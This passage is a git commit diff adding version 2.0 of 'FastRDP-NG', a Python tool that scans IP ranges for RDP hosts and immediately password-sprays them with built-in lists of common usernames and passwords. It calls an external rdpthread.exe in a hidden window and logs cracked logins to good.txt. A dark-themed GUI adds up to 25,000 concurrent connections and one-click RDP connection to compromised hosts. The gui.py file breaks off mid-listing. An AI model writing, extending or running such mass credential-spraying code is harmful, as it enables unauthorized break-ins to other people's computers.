v2.0 streaming redesign: concurrent scan+spray, RDP connect button, live stats fix, terminal output
This commit is contained in:
BIN
__pycache__/bruteforce.cpython-311.pyc
Normal file
BIN
__pycache__/bruteforce.cpython-311.pyc
Normal file
Binary file not shown.
BIN
__pycache__/gui.cpython-311.pyc
Normal file
BIN
__pycache__/gui.cpython-311.pyc
Normal file
Binary file not shown.
BIN
__pycache__/ip_utils.cpython-311.pyc
Normal file
BIN
__pycache__/ip_utils.cpython-311.pyc
Normal file
Binary file not shown.
BIN
__pycache__/main.cpython-311.pyc
Normal file
BIN
__pycache__/main.cpython-311.pyc
Normal file
Binary file not shown.
BIN
__pycache__/scanner.cpython-311.pyc
Normal file
BIN
__pycache__/scanner.cpython-311.pyc
Normal file
Binary file not shown.
243
bruteforce.py
Normal file
243
bruteforce.py
Normal file
@@ -0,0 +1,243 @@
|
||||
"""
|
||||
FastRDP-NG: RDP Password Sprayer.
|
||||
Tries top common passwords against live RDP hosts using subprocess.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from typing import List, Tuple, Set
|
||||
|
||||
logger = logging.getLogger("FastRDP-NG")
|
||||
|
||||
# Top 50 most common RDP passwords (by frequency in breaches)
|
||||
TOP50_PASSWORDS = [
|
||||
"admin", "Admin", "password", "Password", "123456",
|
||||
"administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1",
|
||||
"password1", "password123", "password1234", "Password01!", "PASSWORD123",
|
||||
"passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678",
|
||||
"123456789", "1234567890", "letmein", "welcome", "monkey",
|
||||
"dragon", "master", "login", "abc123", "test",
|
||||
"test123", "pass", "Pass", "P@ss", "qwerty123",
|
||||
"qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1",
|
||||
"sunshine", "princess", "football", "baseball", "welcome1",
|
||||
"admin123", "Admin123", "password!", "password.", "password00",
|
||||
]
|
||||
|
||||
# Top usernames for RDP
|
||||
TOP_USERNAMES = [
|
||||
"Administrator", "Admin", "admin", "administrator",
|
||||
"User", "user", "GuestUser", "Guest", "root",
|
||||
]
|
||||
|
||||
|
||||
async def spray_password(
|
||||
ip: str,
|
||||
port: int,
|
||||
username: str,
|
||||
password: str,
|
||||
timeout: float = 5.0,
|
||||
) -> Tuple[str, int, str, str, bool]:
|
||||
"""
|
||||
Try a single credential pair against an RDP host.
|
||||
Attempts to find rdpthread.exe in common locations, then
|
||||
falls back to RDP banner detection (connectivity check only).
|
||||
|
||||
Returns (ip, port, username, password, success).
|
||||
"""
|
||||
# Try to locate rdpthread.exe in likely locations
|
||||
base = os.path.dirname(os.path.abspath(__file__))
|
||||
search_paths = [
|
||||
os.path.join(base, "rdpthread.exe"),
|
||||
os.path.join(base, "..", "rdpthread.exe"),
|
||||
os.path.join(base, "bin", "rdpthread.exe"),
|
||||
]
|
||||
rdpthread_path = None
|
||||
for p in search_paths:
|
||||
if os.path.exists(p):
|
||||
rdpthread_path = p
|
||||
break
|
||||
|
||||
if rdpthread_path:
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[rdpthread_path, ip, str(port), username, password],
|
||||
capture_output=True,
|
||||
timeout=timeout,
|
||||
creationflags=subprocess.CREATE_NO_WINDOW
|
||||
)
|
||||
output = result.stdout.decode('utf-8', errors='ignore').lower()
|
||||
success = (
|
||||
"success" in output or
|
||||
"connected" in output or
|
||||
"authenticated" in output or
|
||||
result.returncode == 0
|
||||
)
|
||||
return (ip, port, username, password, success)
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired,
|
||||
subprocess.CalledProcessError, OSError):
|
||||
pass
|
||||
|
||||
# Fallback: RDP banner check (confirms RDP service is running)
|
||||
# NOTE: Actual authentication requires CredSSP/NLA which needs
|
||||
# a proper RDP client library. This fallback only detects open RDP ports.
|
||||
try:
|
||||
reader, writer = await asyncio.wait_for(
|
||||
asyncio.open_connection(ip, port),
|
||||
timeout=2.0
|
||||
)
|
||||
try:
|
||||
data = await asyncio.wait_for(
|
||||
reader.read(4),
|
||||
timeout=1.0
|
||||
)
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
# TPKT header (0x03) indicates RDP protocol response
|
||||
if len(data) >= 2 and data[0] == 0x03:
|
||||
return (ip, port, username, password, False)
|
||||
except (asyncio.TimeoutError, ConnectionError):
|
||||
pass
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
return (ip, port, username, password, False)
|
||||
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
|
||||
return (ip, port, username, password, False)
|
||||
|
||||
|
||||
async def spray_all_hosts(
|
||||
live_hosts: Set[Tuple[str, int]],
|
||||
usernames: List[str] = None, # type: ignore
|
||||
passwords: List[str] = None, # type: ignore
|
||||
max_concurrent: int = 100,
|
||||
timeout: float = 5.0,
|
||||
progress_callback=None
|
||||
) -> List[Tuple[str, int, str, str]]:
|
||||
"""
|
||||
Spray top passwords across all live hosts.
|
||||
Tries 1 password per host, then moves to next password.
|
||||
This avoids account lockouts and finds weak passwords fast.
|
||||
|
||||
Returns list of (ip, port, username, password) successful hits.
|
||||
"""
|
||||
if usernames is None:
|
||||
usernames = TOP_USERNAMES
|
||||
if passwords is None:
|
||||
passwords = TOP50_PASSWORDS
|
||||
|
||||
sem = asyncio.Semaphore(max_concurrent)
|
||||
hits = []
|
||||
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
|
||||
attempts = 0
|
||||
start_time = time.time()
|
||||
|
||||
async def try_combo(ip: str, port: int, user: str, pwd: str):
|
||||
nonlocal attempts
|
||||
async with sem:
|
||||
_, _, u, p, success = await spray_password(
|
||||
ip, port, user, pwd, timeout
|
||||
)
|
||||
attempts += 1
|
||||
if success:
|
||||
hits.append((ip, port, u, p))
|
||||
if progress_callback and attempts % 100 == 0:
|
||||
elapsed = time.time() - start_time
|
||||
rate = attempts / elapsed if elapsed > 0 else 0
|
||||
progress_callback(attempts, total_attempts, len(hits), rate)
|
||||
return success
|
||||
|
||||
logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...")
|
||||
|
||||
# Spray strategy: for each password, try it against ALL hosts first
|
||||
# This is the "password spraying" approach - avoids lockouts
|
||||
tasks = []
|
||||
for password in passwords:
|
||||
for ip, port in live_hosts:
|
||||
for username in usernames:
|
||||
tasks.append(asyncio.create_task(
|
||||
try_combo(ip, port, username, password)
|
||||
))
|
||||
|
||||
# Execute this password batch before moving to next password
|
||||
# This lets us see hits faster
|
||||
if tasks:
|
||||
await asyncio.gather(*tasks, return_exceptions=True)
|
||||
if hits:
|
||||
# Found hits! Write immediately
|
||||
_write_hits(hits)
|
||||
tasks = []
|
||||
|
||||
elapsed = time.time() - start_time
|
||||
rate = attempts / elapsed if elapsed > 0 else 0
|
||||
logger.info(
|
||||
f"Spray complete: {len(hits)} hits from {attempts} attempts "
|
||||
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
|
||||
)
|
||||
|
||||
return hits
|
||||
|
||||
|
||||
async def spray_single_host(
|
||||
ip: str,
|
||||
port: int,
|
||||
usernames: List[str] = None,
|
||||
passwords: List[str] = None,
|
||||
max_concurrent: int = 50,
|
||||
timeout: float = 5.0,
|
||||
hit_callback=None
|
||||
) -> List[Tuple[str, int, str, str]]:
|
||||
"""
|
||||
Spray ALL passwords against a SINGLE host immediately.
|
||||
Called as soon as a host is discovered — no need to wait for full scan.
|
||||
|
||||
hit_callback(ip, port, user, password): called on each successful hit.
|
||||
Returns list of (ip, port, username, password) hits.
|
||||
"""
|
||||
if usernames is None:
|
||||
usernames = TOP_USERNAMES
|
||||
if passwords is None:
|
||||
passwords = TOP50_PASSWORDS
|
||||
|
||||
sem = asyncio.Semaphore(max_concurrent)
|
||||
hits: List[Tuple[str, int, str, str]] = []
|
||||
|
||||
async def try_combo(user: str, pwd: str):
|
||||
async with sem:
|
||||
_, _, u, p, success = await spray_password(
|
||||
ip, port, user, pwd, timeout
|
||||
)
|
||||
if success:
|
||||
hits.append((ip, port, u, p))
|
||||
if hit_callback:
|
||||
hit_callback(ip, port, u, p)
|
||||
|
||||
# Fire all tasks
|
||||
tasks = []
|
||||
for user in usernames:
|
||||
for pwd in passwords:
|
||||
tasks.append(asyncio.create_task(try_combo(user, pwd)))
|
||||
|
||||
if tasks:
|
||||
await asyncio.gather(*tasks, return_exceptions=True)
|
||||
|
||||
if hits:
|
||||
_write_hits(hits)
|
||||
|
||||
return hits
|
||||
|
||||
|
||||
def _write_hits(hits: List[Tuple[str, int, str, str]]):
|
||||
"""Write successful hits to results file immediately."""
|
||||
import os
|
||||
output_path = os.path.join(
|
||||
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
|
||||
"results", "good.txt"
|
||||
)
|
||||
os.makedirs(os.path.dirname(output_path), exist_ok=True)
|
||||
with open(output_path, 'a') as f:
|
||||
for ip, port, user, pwd in hits:
|
||||
line = f"{user}:{pwd}@{ip}:{port}\n"
|
||||
f.write(line)
|
||||
print(f"\n[+] HIT! {line.strip()}")
|
||||
891
gui.py
Normal file
891
gui.py
Normal file
@@ -0,0 +1,891 @@
|
||||
"""
|
||||
FastRDP-NG GUI - Sleek Windows interface for RDP scanning & password spraying.
|
||||
Dark-themed, real-time progress, live host table, instant hit logging.
|
||||
Streaming design: scan finds hosts → spray starts immediately (concurrent).
|
||||
"""
|
||||
|
||||
import tkinter as tk
|
||||
from tkinter import ttk, scrolledtext, filedialog
|
||||
import threading
|
||||
import asyncio
|
||||
import time
|
||||
import os
|
||||
import random
|
||||
import sys
|
||||
import subprocess
|
||||
from typing import Set, Tuple, List
|
||||
from dataclasses import dataclass
|
||||
|
||||
from scanner import scan_ips, RDP_PORTS
|
||||
from ip_utils import parse_ranges_file, count_ips
|
||||
from bruteforce import spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES
|
||||
|
||||
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||
RESULTS_DIR = os.path.join(BASE_DIR, "results")
|
||||
WORDLISTS_DIR = os.path.join(BASE_DIR, "wordlists")
|
||||
|
||||
# ── Terminal ANSI helpers ────────────────────────────────
|
||||
_TERM = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty()
|
||||
if _TERM:
|
||||
try:
|
||||
import ctypes
|
||||
kernel32 = ctypes.windll.kernel32
|
||||
kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def _c(code, text):
|
||||
return f"{code}{text}\033[0m" if _TERM else text
|
||||
|
||||
|
||||
# ── Color Palette ──────────────────────────────────────────
|
||||
class Colors:
|
||||
BG_DARK = "#1a1a2e"
|
||||
BG_MID = "#16213e"
|
||||
BG_LIGHT = "#0f3460"
|
||||
ACCENT = "#00d2ff"
|
||||
ACCENT2 = "#e94560"
|
||||
GREEN = "#4ec94e"
|
||||
RED = "#f44747"
|
||||
ORANGE = "#ffa500"
|
||||
YELLOW = "#dcdcaa"
|
||||
TEXT = "#e0e0e0"
|
||||
TEXT_DIM = "#888888"
|
||||
HIT_BG = "#1a3a1a"
|
||||
INPUT_BG = "#0d1117"
|
||||
|
||||
|
||||
@dataclass
|
||||
class ScanStats:
|
||||
"""Live scanning statistics."""
|
||||
checked: int = 0
|
||||
total: int = 0
|
||||
live: int = 0
|
||||
hits: int = 0
|
||||
rate: float = 0.0
|
||||
start_time: float = 0.0
|
||||
phase: str = "idle" # idle | scanning | spraying | done
|
||||
|
||||
|
||||
class FastRDPGUI:
|
||||
"""Polished Windows GUI for FastRDP-NG."""
|
||||
|
||||
def __init__(self):
|
||||
self.root = tk.Tk()
|
||||
self.root.title("FastRDP-NG v2.0 \u2014 Next Gen RDP Scanner")
|
||||
self.root.geometry("1100x820")
|
||||
self.root.minsize(950, 700)
|
||||
self.root.configure(bg=Colors.BG_DARK)
|
||||
|
||||
# State
|
||||
self.scanning = False
|
||||
self.stats = ScanStats()
|
||||
self.live_hosts: Set[Tuple[str, int]] = set()
|
||||
self.hits: List[Tuple[str, int, str, str]] = []
|
||||
self.host_items: dict = {} # (ip,port) -> treeview item id
|
||||
self.ranges_file = os.path.join(WORDLISTS_DIR, "ranges.txt")
|
||||
self.users_file = os.path.join(WORDLISTS_DIR, "users.txt")
|
||||
self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt")
|
||||
self._metric_labels: dict = {}
|
||||
self._spray_queue: asyncio.Queue = None
|
||||
|
||||
os.makedirs(RESULTS_DIR, exist_ok=True)
|
||||
os.makedirs(WORDLISTS_DIR, exist_ok=True)
|
||||
|
||||
self._setup_styles()
|
||||
self._build_ui()
|
||||
self._update_stats_display()
|
||||
self.root.protocol("WM_DELETE_WINDOW", self._on_close)
|
||||
|
||||
def _setup_styles(self):
|
||||
style = ttk.Style()
|
||||
style.theme_use("clam")
|
||||
style.configure(".", background=Colors.BG_DARK, foreground=Colors.TEXT,
|
||||
fieldbackground=Colors.INPUT_BG, font=("Segoe UI", 10))
|
||||
style.configure("TLabelframe", background=Colors.BG_MID, foreground=Colors.TEXT,
|
||||
bordercolor=Colors.ACCENT, lightcolor=Colors.ACCENT,
|
||||
darkcolor=Colors.BG_MID)
|
||||
style.configure("TLabelframe.Label", background=Colors.BG_MID,
|
||||
foreground=Colors.ACCENT, font=("Segoe UI", 10, "bold"))
|
||||
style.configure("TButton", background=Colors.BG_LIGHT, foreground=Colors.TEXT,
|
||||
bordercolor=Colors.ACCENT, focuscolor="none",
|
||||
font=("Segoe UI", 10, "bold"))
|
||||
style.map("TButton", background=[("active", Colors.ACCENT),
|
||||
("disabled", Colors.BG_MID)],
|
||||
foreground=[("disabled", Colors.TEXT_DIM)])
|
||||
style.configure("Accent.TButton", background=Colors.ACCENT,
|
||||
foreground=Colors.BG_DARK)
|
||||
style.map("Accent.TButton", background=[("active", "#00e5ff"),
|
||||
("disabled", Colors.BG_MID)])
|
||||
style.configure("Danger.TButton", background=Colors.ACCENT2,
|
||||
foreground="white")
|
||||
style.map("Danger.TButton", background=[("active", "#ff6b81"),
|
||||
("disabled", Colors.BG_MID)])
|
||||
style.configure("Connect.TButton", background=Colors.GREEN,
|
||||
foreground=Colors.BG_DARK)
|
||||
style.map("Connect.TButton", background=[("active", "#5ddc5d"),
|
||||
("disabled", Colors.BG_MID)])
|
||||
style.configure("TEntry", fieldbackground=Colors.INPUT_BG,
|
||||
foreground=Colors.TEXT, bordercolor=Colors.BG_LIGHT)
|
||||
style.configure("Horizontal.TScale", background=Colors.BG_DARK,
|
||||
troughcolor=Colors.BG_MID, slidercolor=Colors.ACCENT)
|
||||
style.configure("TCheckbutton", background=Colors.BG_DARK,
|
||||
foreground=Colors.TEXT)
|
||||
style.map("TCheckbutton", background=[("active", Colors.BG_DARK)])
|
||||
style.configure("Treeview", background=Colors.INPUT_BG,
|
||||
foreground=Colors.TEXT, fieldbackground=Colors.INPUT_BG,
|
||||
bordercolor=Colors.BG_MID, font=("Consolas", 9))
|
||||
style.configure("Treeview.Heading", background=Colors.BG_LIGHT,
|
||||
foreground=Colors.ACCENT, font=("Segoe UI", 9, "bold"))
|
||||
style.map("Treeview", background=[("selected", Colors.BG_LIGHT)])
|
||||
|
||||
def _build_ui(self):
|
||||
header = tk.Frame(self.root, bg=Colors.BG_MID, height=50)
|
||||
header.pack(fill="x")
|
||||
header.pack_propagate(False)
|
||||
|
||||
tk.Label(header, text="\u26a1 FastRDP-NG", font=("Segoe UI", 18, "bold"),
|
||||
fg=Colors.ACCENT, bg=Colors.BG_MID).pack(side="left", padx=15)
|
||||
tk.Label(header, text="v2.0 \u2014 Streaming RDP Scanner + Instant Spray",
|
||||
font=("Segoe UI", 9), fg=Colors.TEXT_DIM,
|
||||
bg=Colors.BG_MID).pack(side="left", padx=5, pady=(8, 0))
|
||||
|
||||
self.notebook = ttk.Notebook(self.root)
|
||||
self.notebook.pack(fill="both", expand=True, padx=5, pady=5)
|
||||
|
||||
self.tab_scan = tk.Frame(self.notebook, bg=Colors.BG_DARK)
|
||||
self.notebook.add(self.tab_scan, text=" \U0001f50d Scanner ")
|
||||
self._build_scanner_tab()
|
||||
|
||||
self.tab_results = tk.Frame(self.notebook, bg=Colors.BG_DARK)
|
||||
self.notebook.add(self.tab_results, text=" \U0001f4ca Results ")
|
||||
self._build_results_tab()
|
||||
|
||||
self.tab_settings = tk.Frame(self.notebook, bg=Colors.BG_DARK)
|
||||
self.notebook.add(self.tab_settings, text=" \u2699 Settings ")
|
||||
self._build_settings_tab()
|
||||
|
||||
# ── TAB 1: SCANNER ─────────────────────────────────────
|
||||
def _build_scanner_tab(self):
|
||||
left = tk.Frame(self.tab_scan, bg=Colors.BG_DARK, width=380)
|
||||
left.pack(side="left", fill="y", padx=(0, 5))
|
||||
left.pack_propagate(False)
|
||||
|
||||
right = tk.Frame(self.tab_scan, bg=Colors.BG_DARK)
|
||||
right.pack(side="right", fill="both", expand=True)
|
||||
|
||||
# ── LEFT PANEL ──
|
||||
targets_frame = ttk.LabelFrame(left, text="\U0001f3af Targets", padding=8)
|
||||
targets_frame.pack(fill="x", pady=(0, 5))
|
||||
|
||||
ttk.Label(targets_frame, text="Ranges File:",
|
||||
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", pady=2)
|
||||
self.ranges_entry = ttk.Entry(targets_frame, width=30)
|
||||
self.ranges_entry.insert(0, self.ranges_file)
|
||||
self.ranges_entry.grid(row=0, column=1, padx=5, pady=2, sticky="ew")
|
||||
btn_row = tk.Frame(targets_frame, bg=Colors.BG_MID)
|
||||
btn_row.grid(row=0, column=2, padx=(0, 0))
|
||||
ttk.Button(btn_row, text="\U0001f4c2", width=3,
|
||||
command=self._browse_ranges).pack(side="left")
|
||||
ttk.Button(btn_row, text="\u2795", width=3,
|
||||
command=self._quick_add_ip).pack(side="left", padx=(2, 0))
|
||||
|
||||
ttk.Label(targets_frame, text="Users File:",
|
||||
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=2)
|
||||
self.users_entry = ttk.Entry(targets_frame, width=30)
|
||||
self.users_entry.insert(0, self.users_file)
|
||||
self.users_entry.grid(row=1, column=1, padx=5, pady=2, sticky="ew")
|
||||
ttk.Button(targets_frame, text="\U0001f4c2", width=3,
|
||||
command=lambda: self._browse_file("users")).grid(row=1, column=2)
|
||||
|
||||
ttk.Label(targets_frame, text="Passwords File:",
|
||||
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=2)
|
||||
self.pass_entry = ttk.Entry(targets_frame, width=30)
|
||||
self.pass_entry.insert(0, self.passwords_file)
|
||||
self.pass_entry.grid(row=2, column=1, padx=5, pady=2, sticky="ew")
|
||||
ttk.Button(targets_frame, text="\U0001f4c2", width=3,
|
||||
command=lambda: self._browse_file("passwords")).grid(row=2, column=2)
|
||||
|
||||
targets_frame.columnconfigure(1, weight=1)
|
||||
|
||||
# -- Speed / Performance --
|
||||
perf_frame = ttk.LabelFrame(left, text="\u26a1 Performance", padding=8)
|
||||
perf_frame.pack(fill="x", pady=(0, 5))
|
||||
|
||||
ttk.Label(perf_frame, text="Concurrent Connections:",
|
||||
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w")
|
||||
self.speed_var = tk.IntVar(value=5000)
|
||||
speed_frame = tk.Frame(perf_frame, bg=Colors.BG_MID)
|
||||
speed_frame.grid(row=0, column=1, padx=5, sticky="ew")
|
||||
speed_scale = ttk.Scale(speed_frame, from_=500, to=25000,
|
||||
variable=self.speed_var, orient="horizontal",
|
||||
length=180)
|
||||
speed_scale.pack(side="left", fill="x", expand=True)
|
||||
self.speed_label = tk.Label(speed_frame, text="5,000",
|
||||
fg=Colors.ACCENT, bg=Colors.BG_MID,
|
||||
font=("Consolas", 9, "bold"), width=6)
|
||||
self.speed_label.pack(side="left", padx=(5, 0))
|
||||
speed_scale.configure(command=lambda v: self.speed_label.config(
|
||||
text=f"{int(float(v)):,}"))
|
||||
|
||||
ttk.Label(perf_frame, text="Connect Timeout (s):",
|
||||
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=(5, 0))
|
||||
self.timeout_var = tk.DoubleVar(value=2.0)
|
||||
timeout_spin = ttk.Spinbox(perf_frame, from_=0.5, to=10.0,
|
||||
increment=0.5, textvariable=self.timeout_var,
|
||||
width=8)
|
||||
timeout_spin.grid(row=1, column=1, padx=5, pady=(5, 0), sticky="w")
|
||||
|
||||
ttk.Label(perf_frame, text="Scan Ports:",
|
||||
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=(5, 0))
|
||||
ports_frame = tk.Frame(perf_frame, bg=Colors.BG_MID)
|
||||
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
|
||||
self.port_vars = {3389: tk.BooleanVar(value=True),
|
||||
3390: tk.BooleanVar(value=True),
|
||||
3391: tk.BooleanVar(value=True)}
|
||||
for i, (port, var) in enumerate(self.port_vars.items()):
|
||||
tk.Checkbutton(ports_frame, text=str(port), variable=var,
|
||||
fg=Colors.TEXT, bg=Colors.BG_MID,
|
||||
selectcolor=Colors.BG_DARK,
|
||||
activebackground=Colors.BG_MID,
|
||||
activeforeground=Colors.ACCENT).pack(side="left", padx=2)
|
||||
|
||||
perf_frame.columnconfigure(1, weight=1)
|
||||
|
||||
# -- Controls --
|
||||
ctrl_frame = ttk.LabelFrame(left, text="\u25b6 Controls", padding=8)
|
||||
ctrl_frame.pack(fill="x", pady=(0, 5))
|
||||
|
||||
btn_frame = tk.Frame(ctrl_frame, bg=Colors.BG_MID)
|
||||
btn_frame.pack(fill="x")
|
||||
self.start_btn = ttk.Button(btn_frame, text="\u25b6 START SCAN",
|
||||
style="Accent.TButton",
|
||||
command=self._start_scan, width=16)
|
||||
self.start_btn.pack(side="left", padx=(0, 5))
|
||||
self.stop_btn = ttk.Button(btn_frame, text="\u25a0 STOP",
|
||||
style="Danger.TButton",
|
||||
command=self._stop_scan, state="disabled",
|
||||
width=10)
|
||||
self.stop_btn.pack(side="left", padx=(0, 5))
|
||||
ttk.Button(btn_frame, text="\U0001f5d1 Clear", width=8,
|
||||
command=self._clear_results).pack(side="left")
|
||||
|
||||
spray_opts = tk.Frame(ctrl_frame, bg=Colors.BG_MID)
|
||||
spray_opts.pack(fill="x", pady=(8, 0))
|
||||
self.spray_var = tk.BooleanVar(value=True)
|
||||
tk.Checkbutton(spray_opts, text="\U0001f511 Instant spray (as hosts found)",
|
||||
variable=self.spray_var, fg=Colors.TEXT, bg=Colors.BG_MID,
|
||||
selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID,
|
||||
activeforeground=Colors.ACCENT,
|
||||
font=("Segoe UI", 9, "bold")).pack(side="left")
|
||||
|
||||
self.randomize_var = tk.BooleanVar(value=True)
|
||||
tk.Checkbutton(spray_opts, text="\U0001f3b2 Randomize",
|
||||
variable=self.randomize_var, fg=Colors.TEXT_DIM,
|
||||
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
|
||||
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
|
||||
|
||||
# -- Live Stats Dashboard --
|
||||
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
|
||||
stats_frame.pack(fill="x", expand=False)
|
||||
|
||||
stats_grid = tk.Frame(stats_frame, bg=Colors.BG_MID)
|
||||
stats_grid.pack(fill="x")
|
||||
|
||||
self._metric_labels = {}
|
||||
self._make_metric(stats_grid, "Checked", "0", 0, 0, Colors.YELLOW)
|
||||
self._make_metric(stats_grid, "Total", "0", 0, 1, Colors.TEXT_DIM)
|
||||
self._make_metric(stats_grid, "Live", "0", 0, 2, Colors.GREEN)
|
||||
self._make_metric(stats_grid, "Hits", "0", 1, 0, Colors.ACCENT2)
|
||||
self._make_metric(stats_grid, "Rate", "0/s", 1, 1, Colors.ACCENT)
|
||||
self._make_metric(stats_grid, "Elapsed", "0s", 1, 2, Colors.ORANGE)
|
||||
|
||||
for col in range(3):
|
||||
stats_grid.columnconfigure(col, weight=1, uniform="metric")
|
||||
|
||||
# ── RIGHT PANEL ──
|
||||
hosts_frame = ttk.LabelFrame(right, text="\U0001f310 Live RDP Hosts [double-click to RDP connect]",
|
||||
padding=3)
|
||||
hosts_frame.pack(fill="both", expand=True, pady=(0, 3))
|
||||
|
||||
columns = ("ip", "port", "status", "username", "password")
|
||||
self.host_tree = ttk.Treeview(hosts_frame, columns=columns,
|
||||
show="headings", height=6)
|
||||
headings = [("ip", "IP Address", 150), ("port", "Port", 55),
|
||||
("status", "Status", 140),
|
||||
("username", "Username", 110), ("password", "Password", 120)]
|
||||
for col, text, width in headings:
|
||||
self.host_tree.heading(col, text=text)
|
||||
self.host_tree.column(col, width=width)
|
||||
|
||||
# Double-click to RDP connect
|
||||
self.host_tree.bind("<Double-1>", self._on_host_double_click)
|
||||
|
||||
scroll_y = ttk.Scrollbar(hosts_frame, orient="vertical",
|
||||
command=self.host_tree.yview)
|
||||
self.host_tree.configure(yscrollcommand=scroll_y.set)
|
||||
self.host_tree.pack(side="left", fill="both", expand=True)
|
||||
scroll_y.pack(side="right", fill="y")
|
||||
|
||||
# RDP Connect button bar
|
||||
rdp_bar = tk.Frame(right, bg=Colors.BG_MID, height=35)
|
||||
rdp_bar.pack(fill="x", pady=(0, 3))
|
||||
rdp_bar.pack_propagate(False)
|
||||
ttk.Button(rdp_bar, text="\U0001f4bb RDP Connect (selected host)",
|
||||
style="Connect.TButton",
|
||||
command=self._rdp_connect_selected).pack(side="left", padx=5, pady=3)
|
||||
ttk.Button(rdp_bar, text="\U0001f4dd Quick RDP (manual IP)",
|
||||
command=self._quick_rdp_dialog).pack(side="left", padx=5, pady=3)
|
||||
self.rdp_status = tk.Label(rdp_bar, text="Select a host, then click RDP Connect",
|
||||
fg=Colors.TEXT_DIM, bg=Colors.BG_MID,
|
||||
font=("Segoe UI", 8))
|
||||
self.rdp_status.pack(side="right", padx=10)
|
||||
|
||||
# -- Event log --
|
||||
log_frame = ttk.LabelFrame(right, text="\U0001f4dd Event Log", padding=3)
|
||||
log_frame.pack(fill="both", expand=True)
|
||||
|
||||
self.log_text = scrolledtext.ScrolledText(
|
||||
log_frame, font=("Consolas", 9), height=8,
|
||||
bg="#0d1117", fg="#c9d1d9", insertbackground="white",
|
||||
relief="flat", borderwidth=0
|
||||
)
|
||||
self.log_text.pack(fill="both", expand=True)
|
||||
|
||||
self.log_text.tag_configure("hit", foreground=Colors.GREEN,
|
||||
font=("Consolas", 9, "bold"))
|
||||
self.log_text.tag_configure("info", foreground="#79c0ff")
|
||||
self.log_text.tag_configure("error", foreground=Colors.RED)
|
||||
self.log_text.tag_configure("scan", foreground=Colors.YELLOW)
|
||||
self.log_text.tag_configure("system", foreground=Colors.TEXT_DIM)
|
||||
|
||||
def _make_metric(self, parent, label, value, row, col, color):
|
||||
frame = tk.Frame(parent, bg=Colors.INPUT_BG, highlightbackground=color,
|
||||
highlightthickness=1, padx=8, pady=5)
|
||||
frame.grid(row=row, column=col, padx=3, pady=3, sticky="nsew")
|
||||
tk.Label(frame, text=label, fg=Colors.TEXT_DIM, bg=Colors.INPUT_BG,
|
||||
font=("Segoe UI", 7)).pack()
|
||||
metric_label = tk.Label(frame, text=value, fg=color, bg=Colors.INPUT_BG,
|
||||
font=("Consolas", 14, "bold"))
|
||||
metric_label.pack()
|
||||
key = label.lower().replace(" ", "_")
|
||||
self._metric_labels[key] = metric_label
|
||||
|
||||
# ── TAB 2: RESULTS ─────────────────────────────────────
|
||||
def _build_results_tab(self):
|
||||
hit_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4a5 Successful Logins", padding=3)
|
||||
hit_frame.pack(fill="both", expand=True, pady=(0, 3))
|
||||
|
||||
columns = ("ip", "port", "username", "password", "timestamp")
|
||||
self.hit_tree = ttk.Treeview(hit_frame, columns=columns,
|
||||
show="headings", height=10)
|
||||
headings = [("ip", "IP Address", 160), ("port", "Port", 60),
|
||||
("username", "Username", 130), ("password", "Password", 130),
|
||||
("timestamp", "Found At", 150)]
|
||||
for col, text, width in headings:
|
||||
self.hit_tree.heading(col, text=text)
|
||||
self.hit_tree.column(col, width=width)
|
||||
|
||||
# Double-click hit to RDP connect
|
||||
self.hit_tree.bind("<Double-1>", self._on_hit_double_click)
|
||||
|
||||
scroll_y2 = ttk.Scrollbar(hit_frame, orient="vertical",
|
||||
command=self.hit_tree.yview)
|
||||
self.hit_tree.configure(yscrollcommand=scroll_y2.set)
|
||||
self.hit_tree.pack(side="left", fill="both", expand=True)
|
||||
scroll_y2.pack(side="right", fill="y")
|
||||
|
||||
out_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4c4 good.txt Output", padding=3)
|
||||
out_frame.pack(fill="both", expand=True)
|
||||
|
||||
btn_row = tk.Frame(out_frame, bg=Colors.BG_MID)
|
||||
btn_row.pack(fill="x", pady=(0, 3))
|
||||
ttk.Button(btn_row, text="\U0001f504 Refresh", command=self._refresh_good).pack(side="left")
|
||||
ttk.Button(btn_row, text="\U0001f4c2 Open File",
|
||||
command=lambda: os.startfile(os.path.join(RESULTS_DIR, "good.txt"))
|
||||
if hasattr(os, 'startfile') else None).pack(side="left", padx=5)
|
||||
|
||||
self.good_text = scrolledtext.ScrolledText(
|
||||
out_frame, font=("Consolas", 9), height=8,
|
||||
bg="#0d1117", fg=Colors.GREEN, relief="flat", borderwidth=0
|
||||
)
|
||||
self.good_text.pack(fill="both", expand=True)
|
||||
|
||||
# ── TAB 3: SETTINGS ────────────────────────────────────
|
||||
def _build_settings_tab(self):
|
||||
editor_frame = ttk.LabelFrame(self.tab_settings, text="\U0001f4dd Wordlist Editor", padding=8)
|
||||
editor_frame.pack(fill="both", expand=True, pady=(0, 5))
|
